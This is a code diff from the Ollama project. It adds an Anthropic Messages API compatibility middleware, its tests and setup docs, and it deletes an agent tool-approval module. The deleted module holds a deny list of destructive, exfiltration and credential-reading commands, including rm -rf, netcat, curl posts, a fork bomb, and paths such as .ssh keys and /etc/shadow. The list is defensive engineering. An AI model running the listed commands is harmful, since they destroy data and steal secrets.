+2. Set the environment variables:
+
+```shell
+export ANTHROPIC_BASE_URL=https://ollama.com
+export ANTHROPIC_API_KEY=<your-api-key>
+```
+
+3. Run Claude Code with a cloud model:
+
+```shell
+claude --model glm-4.7:cloud
+```
+
+## Recommended Models
+
+### Cloud models
+- `glm-4.7:cloud` - High-performance cloud model
+- `minimax-m2.1:cloud` - Fast cloud model
+- `qwen3-coder:480b` - Large coding model
+
+### Local models
+- `qwen3-coder` - Excellent for coding tasks
+- `gpt-oss:20b` - Strong general-purpose model

middleware/anthropic.go

@@ -0,0 +1,149 @@
+package middleware
+
+import (
+	"bytes"
+	"encoding/json"
+	"fmt"
+	"io"
+	"net/http"
+
+	"github.com/gin-gonic/gin"
+
+	"github.com/ollama/ollama/anthropic"
+	"github.com/ollama/ollama/api"
+)
+
+// AnthropicWriter wraps the response writer to transform Ollama responses to Anthropic format
+type AnthropicWriter struct {
+	BaseWriter
+	stream    bool
+	id        string
+	model     string
+	converter *anthropic.StreamConverter
+}
+
+func (w *AnthropicWriter) writeError(data []byte) (int, error) {
+	var errData struct {
+		Error string `json:"error"`
+	}
+	if err := json.Unmarshal(data, &errData); err != nil {
+		return 0, err
+	}
+
+	w.ResponseWriter.Header().Set("Content-Type", "application/json")
+	err := json.NewEncoder(w.ResponseWriter).Encode(anthropic.NewError(w.ResponseWriter.Status(), errData.Error))
+	if err != nil {
+		return 0, err
+	}
+
+	return len(data), nil
+}
+
+func (w *AnthropicWriter) writeEvent(eventType string, data any) error {
+	d, err := json.Marshal(data)
+	if err != nil {
+		return err
+	}
+	_, err = w.ResponseWriter.Write([]byte(fmt.Sprintf("event: %s\ndata: %s\n\n", eventType, d)))
+	if err != nil {
+		return err
+	}
+	if f, ok := w.ResponseWriter.(http.Flusher); ok {
+		f.Flush()
+	}
+	return nil
+}
+
+func (w *AnthropicWriter) writeResponse(data []byte) (int, error) {
+	var chatResponse api.ChatResponse
+	err := json.Unmarshal(data, &chatResponse)
+	if err != nil {
+		return 0, err
+	}
+
+	if w.stream {
+		w.ResponseWriter.Header().Set("Content-Type", "text/event-stream")
+
+		events := w.converter.Process(chatResponse)
+		for _, event := range events {
+			if err := w.writeEvent(event.Event, event.Data); err != nil {
+				return 0, err
+			}
+		}
+		return len(data), nil
+	}
+
+	w.ResponseWriter.Header().Set("Content-Type", "application/json")
+	response := anthropic.ToMessagesResponse(w.id, chatResponse)
+	return len(data), json.NewEncoder(w.ResponseWriter).Encode(response)
+}
+
+func (w *AnthropicWriter) Write(data []byte) (int, error) {
+	code := w.ResponseWriter.Status()
+	if code != http.StatusOK {
+		return w.writeError(data)
+	}
+
+	return w.writeResponse(data)
+}
+
+// AnthropicMessagesMiddleware handles Anthropic Messages API requests
+func AnthropicMessagesMiddleware() gin.HandlerFunc {
+	return func(c *gin.Context) {
+		var req anthropic.MessagesRequest
+		err := c.ShouldBindJSON(&req)
+		if err != nil {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, err.Error()))
+			return
+		}
+
+		if req.Model == "" {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "model is required"))
+			return
+		}
+
+		if req.MaxTokens <= 0 {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "max_tokens is required and must be positive"))
+			return
+		}
+
+		if len(req.Messages) == 0 {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, "messages is required"))
+			return
+		}
+
+		chatReq, err := anthropic.FromMessagesRequest(req)
+		if err != nil {
+			c.AbortWithStatusJSON(http.StatusBadRequest, anthropic.NewError(http.StatusBadRequest, err.Error()))
+			return
+		}
+
+		var b bytes.Buffer
+		if err := json.NewEncoder(&b).Encode(chatReq); err != nil {
+			c.AbortWithStatusJSON(http.StatusInternalServerError, anthropic.NewError(http.StatusInternalServerError, err.Error()))
+			return
+		}
+
+		c.Request.Body = io.NopCloser(&b)
+
+		messageID := anthropic.GenerateMessageID()
+
+		w := &AnthropicWriter{
+			BaseWriter: BaseWriter{ResponseWriter: c.Writer},
+			stream:     req.Stream,
+			id:         messageID,
+			model:      req.Model,
+			converter:  anthropic.NewStreamConverter(messageID, req.Model),
+		}
+
+		if req.Stream {
+			c.Writer.Header().Set("Content-Type", "text/event-stream")
+			c.Writer.Header().Set("Cache-Control", "no-cache")
+			c.Writer.Header().Set("Connection", "keep-alive")
+		}
+
+		c.Writer = w
+
+		c.Next()
+	}
+}

middleware/anthropic_test.go

@@ -0,0 +1,584 @@
+package middleware
+
+import (
+	"bytes"
+	"encoding/json"
+	"io"
+	"net/http"
+	"net/http/httptest"
+	"strings"
+	"testing"
+
+	"github.com/gin-gonic/gin"
+	"github.com/google/go-cmp/cmp"
+	"github.com/google/go-cmp/cmp/cmpopts"
+
+	"github.com/ollama/ollama/anthropic"
+	"github.com/ollama/ollama/api"
+)
+
+func captureAnthropicRequest(capturedRequest any) gin.HandlerFunc {
+	return func(c *gin.Context) {
+		bodyBytes, _ := io.ReadAll(c.Request.Body)
+		c.Request.Body = io.NopCloser(bytes.NewReader(bodyBytes))
+		_ = json.Unmarshal(bodyBytes, capturedRequest)
+		c.Next()
+	}
+}
+
+// testProps creates ToolPropertiesMap from a map (convenience function for tests)
+func testProps(m map[string]api.ToolProperty) *api.ToolPropertiesMap {
+	props := api.NewToolPropertiesMap()
+	for k, v := range m {
+		props.Set(k, v)
+	}
+	return props
+}
+
+func TestAnthropicMessagesMiddleware(t *testing.T) {
+	type testCase struct {
+		name string
+		body string
+		req  api.ChatRequest
+		err  anthropic.ErrorResponse
+	}
+
+	var capturedRequest *api.ChatRequest
+	stream := true
+
+	testCases := []testCase{
+		{
+			name: "basic message",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with system prompt",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"system": "You are helpful.",
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "system", Content: "You are helpful."},
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with options",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 2048,
+				"temperature": 0.7,
+				"top_p": 0.9,
+				"top_k": 40,
+				"stop_sequences": ["\n", "END"],
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{
+					"num_predict": 2048,
+					"temperature": 0.7,
+					"top_p":       0.9,
+					"top_k":       40,
+					"stop":        []string{"\n", "END"},
+				},
+				Stream: &False,
+			},
+		},
+		{
+			name: "streaming",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"stream": true,
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &stream,
+			},
+		},
+		{
+			name: "with tools",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "What's the weather?"}
+				],
+				"tools": [{
+					"name": "get_weather",
+					"description": "Get current weather",
+					"input_schema": {
+						"type": "object",
+						"properties": {
+							"location": {"type": "string"}
+						},
+						"required": ["location"]
+					}
+				}]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "What's the weather?"},
+				},
+				Tools: []api.Tool{
+					{
+						Type: "function",
+						Function: api.ToolFunction{
+							Name:        "get_weather",
+							Description: "Get current weather",
+							Parameters: api.ToolFunctionParameters{
+								Type:     "object",
+								Required: []string{"location"},
+								Properties: testProps(map[string]api.ToolProperty{
+									"location": {Type: api.PropertyType{"string"}},
+								}),
+							},
+						},
+					},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with tool result",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "What's the weather?"},
+					{"role": "assistant", "content": [
+						{"type": "tool_use", "id": "call_123", "name": "get_weather", "input": {"location": "Paris"}}
+					]},
+					{"role": "user", "content": [
+						{"type": "tool_result", "tool_use_id": "call_123", "content": "Sunny, 22°C"}
+					]}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "What's the weather?"},
+					{
+						Role: "assistant",
+						ToolCalls: []api.ToolCall{
+							{
+								ID: "call_123",
+								Function: api.ToolCallFunction{
+									Name:      "get_weather",
+									Arguments: testArgs(map[string]any{"location": "Paris"}),
+								},
+							},
+						},
+					},
+					{Role: "tool", Content: "Sunny, 22°C", ToolCallID: "call_123"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+			},
+		},
+		{
+			name: "with thinking enabled",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"thinking": {"type": "enabled", "budget_tokens": 1000},
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			req: api.ChatRequest{
+				Model: "test-model",
+				Messages: []api.Message{
+					{Role: "user", Content: "Hello"},
+				},
+				Options: map[string]any{"num_predict": 1024},
+				Stream:  &False,
+				Think:   &api.ThinkValue{Value: true},
+			},
+		},
+		{
+			name: "missing model error",
+			body: `{
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "model is required",
+				},
+			},
+		},
+		{
+			name: "missing max_tokens error",
+			body: `{
+				"model": "test-model",
+				"messages": [
+					{"role": "user", "content": "Hello"}
+				]
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "max_tokens is required and must be positive",
+				},
+			},
+		},
+		{
+			name: "missing messages error",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "messages is required",
+				},
+			},
+		},
+		{
+			name: "tool_use missing id error",
+			body: `{
+				"model": "test-model",
+				"max_tokens": 1024,
+				"messages": [
+					{"role": "assistant", "content": [
+						{"type": "tool_use", "name": "test"}
+					]}
+				]
+			}`,
+			err: anthropic.ErrorResponse{
+				Type: "error",
+				Error: anthropic.Error{
+					Type:    "invalid_request_error",
+					Message: "tool_use block missing required 'id' field",
+				},
+			},
+		},
+	}
+
+	endpoint := func(c *gin.Context) {
+		c.Status(http.StatusOK)
+	}
+
+	gin.SetMode(gin.TestMode)
+	router := gin.New()
+	router.Use(AnthropicMessagesMiddleware(), captureAnthropicRequest(&capturedRequest))
+	router.Handle(http.MethodPost, "/v1/messages", endpoint)
+
+	for _, tc := range testCases {
+		t.Run(tc.name, func(t *testing.T) {
+			req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(tc.body))
+			req.Header.Set("Content-Type", "application/json")
+
+			defer func() { capturedRequest = nil }()
+
+			resp := httptest.NewRecorder()
+			router.ServeHTTP(resp, req)
+
+			if tc.err.Type != "" {
+				// Expect error
+				if resp.Code == http.StatusOK {
+					t.Fatalf("expected error response, got 200 OK")
+				}
+				var errResp anthropic.ErrorResponse
+				if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
+					t.Fatalf("failed to unmarshal error: %v", err)
+				}
+				if errResp.Type != tc.err.Type {
+					t.Errorf("expected error type %q, got %q", tc.err.Type, errResp.Type)
+				}
+				if errResp.Error.Type != tc.err.Error.Type {
+					t.Errorf("expected error.type %q, got %q", tc.err.Error.Type, errResp.Error.Type)
+				}
+				if errResp.Error.Message != tc.err.Error.Message {
+					t.Errorf("expected error.message %q, got %q", tc.err.Error.Message, errResp.Error.Message)
+				}
+				return
+			}
+
+			if resp.Code != http.StatusOK {
+				t.Fatalf("unexpected status code: %d, body: %s", resp.Code, resp.Body.String())
+			}
+
+			if capturedRequest == nil {
+				t.Fatal("request was not captured")
+			}
+
+			// Compare relevant fields
+			if capturedRequest.Model != tc.req.Model {
+				t.Errorf("model mismatch: got %q, want %q", capturedRequest.Model, tc.req.Model)
+			}
+
+			if diff := cmp.Diff(tc.req.Messages, capturedRequest.Messages,
+				cmpopts.IgnoreUnexported(api.ToolCallFunctionArguments{}, api.ToolPropertiesMap{})); diff != "" {
+				t.Errorf("messages mismatch (-want +got):\n%s", diff)
+			}
+
+			if tc.req.Stream != nil && capturedRequest.Stream != nil {
+				if *tc.req.Stream != *capturedRequest.Stream {
+					t.Errorf("stream mismatch: got %v, want %v", *capturedRequest.Stream, *tc.req.Stream)
+				}
+			}
+
+			if tc.req.Think != nil {
+				if capturedRequest.Think == nil {
+					t.Error("expected Think to be set")
+				} else if capturedRequest.Think.Value != tc.req.Think.Value {
+					t.Errorf("Think mismatch: got %v, want %v", capturedRequest.Think.Value, tc.req.Think.Value)
+				}
+			}
+		})
+	}
+}
+
+func TestAnthropicMessagesMiddleware_Headers(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	t.Run("streaming sets correct headers", func(t *testing.T) {
+		router := gin.New()
+		router.Use(AnthropicMessagesMiddleware())
+		router.POST("/v1/messages", func(c *gin.Context) {
+			// Check headers were set
+			if c.Writer.Header().Get("Content-Type") != "text/event-stream" {
+				t.Errorf("expected Content-Type text/event-stream, got %q", c.Writer.Header().Get("Content-Type"))
+			}
+			if c.Writer.Header().Get("Cache-Control") != "no-cache" {
+				t.Errorf("expected Cache-Control no-cache, got %q", c.Writer.Header().Get("Cache-Control"))
+			}
+			c.Status(http.StatusOK)
+		})
+
+		body := `{"model": "test", "max_tokens": 100, "stream": true, "messages": [{"role": "user", "content": "Hi"}]}`
+		req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
+		req.Header.Set("Content-Type", "application/json")
+
+		resp := httptest.NewRecorder()
+		router.ServeHTTP(resp, req)
+	})
+}
+
+func TestAnthropicMessagesMiddleware_InvalidJSON(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+	router := gin.New()
+	router.Use(AnthropicMessagesMiddleware())
+	router.POST("/v1/messages", func(c *gin.Context) {
+		c.Status(http.StatusOK)
+	})
+
+	req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(`{invalid json`))
+	req.Header.Set("Content-Type", "application/json")
+
+	resp := httptest.NewRecorder()
+	router.ServeHTTP(resp, req)
+
+	if resp.Code != http.StatusBadRequest {
+		t.Errorf("expected status 400, got %d", resp.Code)
+	}
+
+	var errResp anthropic.ErrorResponse
+	if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
+		t.Fatalf("failed to unmarshal error: %v", err)
+	}
+
+	if errResp.Type != "error" {
+		t.Errorf("expected type 'error', got %q", errResp.Type)
+	}
+	if errResp.Error.Type != "invalid_request_error" {
+		t.Errorf("expected error type 'invalid_request_error', got %q", errResp.Error.Type)
+	}
+}
+
+func TestAnthropicWriter_NonStreaming(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	router := gin.New()
+	router.Use(AnthropicMessagesMiddleware())
+	router.POST("/v1/messages", func(c *gin.Context) {
+		// Simulate Ollama response
+		resp := api.ChatResponse{
+			Model: "test-model",
+			Message: api.Message{
+				Role:    "assistant",
+				Content: "Hello there!",
+			},
+			Done:       true,
+			DoneReason: "stop",
+			Metrics: api.Metrics{
+				PromptEvalCount: 10,
+				EvalCount:       5,
+			},
+		}
+		data, _ := json.Marshal(resp)
+		c.Writer.WriteHeader(http.StatusOK)
+		_, _ = c.Writer.Write(data)
+	})
+
+	body := `{"model": "test-model", "max_tokens": 100, "messages": [{"role": "user", "content": "Hi"}]}`
+	req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
+	req.Header.Set("Content-Type", "application/json")
+
+	resp := httptest.NewRecorder()
+	router.ServeHTTP(resp, req)
+
+	if resp.Code != http.StatusOK {
+		t.Fatalf("expected status 200, got %d", resp.Code)
+	}
+
+	var result anthropic.MessagesResponse
+	if err := json.Unmarshal(resp.Body.Bytes(), &result); err != nil {
+		t.Fatalf("failed to unmarshal response: %v", err)
+	}
+
+	if result.Type != "message" {
+		t.Errorf("expected type 'message', got %q", result.Type)
+	}
+	if result.Role != "assistant" {
+		t.Errorf("expected role 'assistant', got %q", result.Role)
+	}
+	if len(result.Content) != 1 {
+		t.Fatalf("expected 1 content block, got %d", len(result.Content))
+	}
+	if result.Content[0].Text == nil || *result.Content[0].Text != "Hello there!" {
+		t.Errorf("expected text 'Hello there!', got %v", result.Content[0].Text)
+	}
+	if result.StopReason != "end_turn" {
+		t.Errorf("expected stop_reason 'end_turn', got %q", result.StopReason)
+	}
+	if result.Usage.InputTokens != 10 {
+		t.Errorf("expected input_tokens 10, got %d", result.Usage.InputTokens)
+	}
+	if result.Usage.OutputTokens != 5 {
+		t.Errorf("expected output_tokens 5, got %d", result.Usage.OutputTokens)
+	}
+}
+
+// TestAnthropicWriter_ErrorFromRoutes tests error handling when routes.go sends
+// gin.H{"error": "message"} without a StatusCode field (which is the common case)
+func TestAnthropicWriter_ErrorFromRoutes(t *testing.T) {
+	gin.SetMode(gin.TestMode)
+
+	tests := []struct {
+		name          string
+		statusCode    int
+		errorPayload  any
+		wantErrorType string
+		wantMessage   string
+	}{
+		// routes.go sends errors without StatusCode in JSON, so we must use HTTP status
+		{
+			name:          "404 with gin.H error (model not found)",
+			statusCode:    http.StatusNotFound,
+			errorPayload:  gin.H{"error": "model 'nonexistent' not found"},
+			wantErrorType: "not_found_error",
+			wantMessage:   "model 'nonexistent' not found",
+		},
+		{
+			name:          "400 with gin.H error (bad request)",
+			statusCode:    http.StatusBadRequest,
+			errorPayload:  gin.H{"error": "model is required"},
+			wantErrorType: "invalid_request_error",
+			wantMessage:   "model is required",
+		},
+		{
+			name:          "500 with gin.H error (internal error)",
+			statusCode:    http.StatusInternalServerError,
+			errorPayload:  gin.H{"error": "something went wrong"},
+			wantErrorType: "api_error",
+			wantMessage:   "something went wrong",
+		},
+		{
+			name:       "404 with api.StatusError",
+			statusCode: http.StatusNotFound,
+			errorPayload: api.StatusError{
+				StatusCode:   http.StatusNotFound,
+				ErrorMessage: "model not found via StatusError",
+			},
+			wantErrorType: "not_found_error",
+			wantMessage:   "model not found via StatusError",
+		},
+	}
+
+	for _, tt := range tests {
+		t.Run(tt.name, func(t *testing.T) {
+			router := gin.New()
+			router.Use(AnthropicMessagesMiddleware())
+			router.POST("/v1/messages", func(c *gin.Context) {
+				// Simulate what routes.go does - set status and write error JSON
+				data, _ := json.Marshal(tt.errorPayload)
+				c.Writer.WriteHeader(tt.statusCode)
+				_, _ = c.Writer.Write(data)
+			})
+
+			body := `{"model": "test-model", "max_tokens": 100, "messages": [{"role": "user", "content": "Hi"}]}`
+			req, _ := http.NewRequest(http.MethodPost, "/v1/messages", strings.NewReader(body))
+			req.Header.Set("Content-Type", "application/json")
+
+			resp := httptest.NewRecorder()
+			router.ServeHTTP(resp, req)
+
+			if resp.Code != tt.statusCode {
+				t.Errorf("expected status %d, got %d", tt.statusCode, resp.Code)
+			}
+
+			var errResp anthropic.ErrorResponse
+			if err := json.Unmarshal(resp.Body.Bytes(), &errResp); err != nil {
+				t.Fatalf("failed to unmarshal error response: %v\nbody: %s", err, resp.Body.String())
+			}
+
+			if errResp.Type != "error" {
+				t.Errorf("expected type 'error', got %q", errResp.Type)
+			}
+			if errResp.Error.Type != tt.wantErrorType {
+				t.Errorf("expected error type %q, got %q", tt.wantErrorType, errResp.Error.Type)
+			}
+			if errResp.Error.Message != tt.wantMessage {
+				t.Errorf("expected message %q, got %q", tt.wantMessage, errResp.Error.Message)
+			}
+		})
+	}
+}

model/renderers/olmo3_test.go

@@ -227,9 +227,9 @@ func TestOlmo3Renderer(t *testing.T) {
 							ID: "call_1",
 							Function: api.ToolCallFunction{
 								Name: "book_flight",
-								Arguments: testArgsOrdered([]orderedArg{
-									{"from", "SFO"},
-									{"to", "NYC"},
+								Arguments: testArgs(map[string]any{
+									"from": "SFO",
+									"to":   "NYC",
 								}),
 							},
 						},
@@ -243,9 +243,9 @@ func TestOlmo3Renderer(t *testing.T) {
 						Name: "book_flight",
 						Parameters: api.ToolFunctionParameters{
 							Type: "object",
-							Properties: testPropsOrdered([]orderedProp{
-								{"from", api.ToolProperty{Type: api.PropertyType{"string"}}},
-								{"to", api.ToolProperty{Type: api.PropertyType{"string"}}},
+							Properties: testPropsMap(map[string]api.ToolProperty{
+								"from": {Type: api.PropertyType{"string"}},
+								"to":   {Type: api.PropertyType{"string"}},
 							}),
 						},
 					},

model/renderers/testhelpers_test.go

@@ -34,18 +34,3 @@ func testArgsOrdered(pairs []orderedArg) api.ToolCallFunctionArguments {
 	}
 	return args
 }
-
-// orderedProp represents a key-value pair for ordered property creation
-type orderedProp struct {
-	Key   string
-	Value api.ToolProperty
-}
-
-// testPropsOrdered creates a ToolPropertiesMap with a specific key order
-func testPropsOrdered(pairs []orderedProp) *api.ToolPropertiesMap {
-	props := api.NewToolPropertiesMap()
-	for _, p := range pairs {
-		props.Set(p.Key, p.Value)
-	}
-	return props
-}

readline/readline.go

@@ -30,7 +30,7 @@ func (p *Prompt) placeholder() string {
 }
 
 type Terminal struct {
-	reader  *bufio.Reader
+	outchan chan rune
 	rawmode bool
 	termios any
 }
@@ -264,21 +264,36 @@ func NewTerminal() (*Terminal, error) {
 	if err != nil {
 		return nil, err
 	}
-	if err := UnsetRawMode(fd, termios); err != nil {
-		return nil, err
-	}
 
 	t := &Terminal{
-		reader: bufio.NewReader(os.Stdin),
+		outchan: make(chan rune),
+		rawmode: true,
+		termios: termios,
 	}
 
+	go t.ioloop()
+
 	return t, nil
 }
 
-func (t *Terminal) Read() (rune, error) {
-	r, _, err := t.reader.ReadRune()
+func (t *Terminal) ioloop() {
+	buf := bufio.NewReader(os.Stdin)
+
+	for {
+		r, _, err := buf.ReadRune()
 		if err != nil {
-		return 0, err
+			close(t.outchan)
+			break
 		}
+		t.outchan <- r
+	}
+}
+
+func (t *Terminal) Read() (rune, error) {
+	r, ok := <-t.outchan
+	if !ok {
+		return 0, io.EOF
+	}
+
 	return r, nil
 }

server/routes.go

@@ -1544,6 +1544,9 @@ func (s *Server) GenerateRoutes(rc *ollama.Registry) (http.Handler, error) {
 	r.GET("/v1/models/:model", middleware.RetrieveMiddleware(), s.ShowHandler)
 	r.POST("/v1/responses", middleware.ResponsesMiddleware(), s.ChatHandler)
 
+	// Inference (Anthropic compatibility)
+	r.POST("/v1/messages", middleware.AnthropicMessagesMiddleware(), s.ChatHandler)
+
 	if rc != nil {
 		// wrap old with new
 		rs := &registry.Local{

x/agent/approval.go

@@ -1,953 +0,0 @@
-// Package agent provides agent loop orchestration and tool approval.
-package agent
-
-import (
-	"fmt"
-	"os"
-	"path/filepath"
-	"strings"
-	"sync"
-
-	"golang.org/x/term"
-)
-
-// ApprovalDecision represents the user's decision for a tool execution.
-type ApprovalDecision int
-
-const (
-	// ApprovalDeny means the user denied execution.
-	ApprovalDeny ApprovalDecision = iota
-	// ApprovalOnce means execute this one time only.
-	ApprovalOnce
-	// ApprovalAlways means add to session allowlist.
-	ApprovalAlways
-)
-
-// ApprovalResult contains the decision and optional deny reason.
-type ApprovalResult struct {
-	Decision   ApprovalDecision
-	DenyReason string
-}
-
-// Option labels for the selector (numbered for quick selection)
-var optionLabels = []string{
-	"1. Execute once",
-	"2. Always allow",
-	"3. Deny",
-}
-
-// autoAllowCommands are commands that are always allowed without prompting.
-// These are zero-risk, read-only commands.
-var autoAllowCommands = map[string]bool{
-	"pwd":      true,
-	"echo":     true,
-	"date":     true,
-	"whoami":   true,
-	"hostname": true,
-	"uname":    true,
-}
-
-// autoAllowPrefixes are command prefixes that are always allowed.
-// These are read-only or commonly-needed development commands.
-var autoAllowPrefixes = []string{
-	// Git read-only
-	"git status", "git log", "git diff", "git branch", "git show",
-	"git remote -v", "git tag", "git stash list",
-	// Package managers - run scripts
-	"npm run", "npm test", "npm start",
-	"bun run", "bun test",
-	"uv run",
-	"yarn run", "yarn test",
-	"pnpm run", "pnpm test",
-	// Package info
-	"go list", "go version", "go env",
-	"npm list", "npm ls", "npm version",
-	"pip list", "pip show",
-	"cargo tree", "cargo version",
-	// Build commands
-	"go build", "go test", "go fmt", "go vet",
-	"make", "cmake",
-	"cargo build", "cargo test", "cargo check",
-}
-
-// denyPatterns are dangerous command patterns that are always blocked.
-var denyPatterns = []string{
-	// Destructive commands
-	"rm -rf", "rm -fr",
-	"mkfs", "dd if=", "dd of=",
-	"shred",
-	"> /dev/", ">/dev/",
-	// Privilege escalation
-	"sudo ", "su ", "doas ",
-	"chmod 777", "chmod -R 777",
-	"chown ", "chgrp ",
-	// Network exfiltration
-	"curl -d", "curl --data", "curl -X POST", "curl -X PUT",
-	"wget --post",
-	"nc ", "netcat ",
-	"scp ", "rsync ",
-	// History and credentials
-	"history",
-	".bash_history", ".zsh_history",
-	".ssh/id_rsa", ".ssh/id_dsa", ".ssh/id_ecdsa", ".ssh/id_ed25519",
-	".ssh/config",
-	".aws/credentials", ".aws/config",
-	".gnupg/",
-	"/etc/shadow", "/etc/passwd",
-	// Dangerous patterns
-	":(){ :|:& };:", // fork bomb
-	"chmod +s",      // setuid
-	"mkfifo",
-}
-
-// denyPathPatterns are file patterns that should never be accessed.
-// These are checked as exact filename matches or path suffixes.
-var denyPathPatterns = []string{
-	".env",
-	".env.local",
-	".env.production",
-	"credentials.json",
-	"secrets.json",
-	"secrets.yaml",
-	"secrets.yml",
-	".pem",
-	".key",
-}
-
-// ApprovalManager manages tool execution approvals.
-type ApprovalManager struct {
-	allowlist map[string]bool // exact matches
-	prefixes  map[string]bool // prefix matches for bash commands (e.g., "cat:tools/")
-	mu        sync.RWMutex
-}
-
-// NewApprovalManager creates a new approval manager.
-func NewApprovalManager() *ApprovalManager {
-	return &ApprovalManager{
-		allowlist: make(map[string]bool),
-		prefixes:  make(map[string]bool),
-	}
-}
-
-// IsAutoAllowed checks if a bash command is auto-allowed (no prompt needed).
-func IsAutoAllowed(command string) bool {
-	command = strings.TrimSpace(command)
-
-	// Check exact command match (first word)
-	fields := strings.Fields(command)
-	if len(fields) > 0 && autoAllowCommands[fields[0]] {
-		return true
-	}
-
-	// Check prefix match
-	for _, prefix := range autoAllowPrefixes {
-		if strings.HasPrefix(command, prefix) {
-			return true
-		}
-	}
-
-	return false
-}
-
-// IsDenied checks if a bash command matches deny patterns.
-// Returns true and the matched pattern if denied.
-func IsDenied(command string) (bool, string) {
-	commandLower := strings.ToLower(command)
-
-	// Check deny patterns
-	for _, pattern := range denyPatterns {
-		if strings.Contains(commandLower, strings.ToLower(pattern)) {
-			return true, pattern
-		}
-	}
-
-	// Check deny path patterns
-	for _, pattern := range denyPathPatterns {
-		if strings.Contains(commandLower, strings.ToLower(pattern)) {
-			return true, pattern
-		}
-	}
-
-	return false, ""
-}
-
-// FormatDeniedResult returns the tool result message when a command is blocked.
-func FormatDeniedResult(command string, pattern string) string {
-	return fmt.Sprintf("Command blocked: this command matches a dangerous pattern (%s) and cannot be executed. If this command is necessary, please ask the user to run it manually.", pattern)
-}
-
-// extractBashPrefix extracts a prefix pattern from a bash command.
-// For commands like "cat tools/tools_test.go | head -200", returns "cat:tools/"
-// For commands without path args, returns empty string.
-func extractBashPrefix(command string) string {
-	// Split command by pipes and get the first part
-	parts := strings.Split(command, "|")
-	firstCmd := strings.TrimSpace(parts[0])
-
-	// Split into command and args
-	fields := strings.Fields(firstCmd)
-	if len(fields) < 2 {
-		return ""
-	}
-
-	baseCmd := fields[0]
-	// Common commands that benefit from prefix allowlisting
-	// These are typically safe for read operations on specific directories
-	safeCommands := map[string]bool{
-		"cat": true, "ls": true, "head": true, "tail": true,
-		"less": true, "more": true, "file": true, "wc": true,
-		"grep": true, "find": true, "tree": true, "stat": true,
-		"sed": true,
-	}
-
-	if !safeCommands[baseCmd] {
-		return ""
-	}
-
-	// Find the first path-like argument (must contain / or start with .)
-	// First pass: look for clear paths (containing / or starting with .)
-	for _, arg := range fields[1:] {
-		// Skip flags
-		if strings.HasPrefix(arg, "-") {
-			continue
-		}
-		// Skip numeric arguments (e.g., "head -n 100")
-		if isNumeric(arg) {
-			continue
-		}
-		// Only process if it looks like a path (contains / or starts with .)
-		if !strings.Contains(arg, "/") && !strings.HasPrefix(arg, ".") {
-			continue
-		}
-		// If arg ends with /, it's a directory - use it directly
-		if strings.HasSuffix(arg, "/") {
-			return fmt.Sprintf("%s:%s", baseCmd, arg)
-		}
-		// Get the directory part of a file path
-		dir := filepath.Dir(arg)
-		if dir == "." {
-			// Path is just a directory like "tools" or "src" (no trailing /)
-			return fmt.Sprintf("%s:%s/", baseCmd, arg)
-		}
-		return fmt.Sprintf("%s:%s/", baseCmd, dir)
-	}
-
-	// Second pass: if no clear path found, use the first non-flag argument as a filename
-	for _, arg := range fields[1:] {
-		if strings.HasPrefix(arg, "-") {
-			continue
-		}
-		if isNumeric(arg) {
-			continue
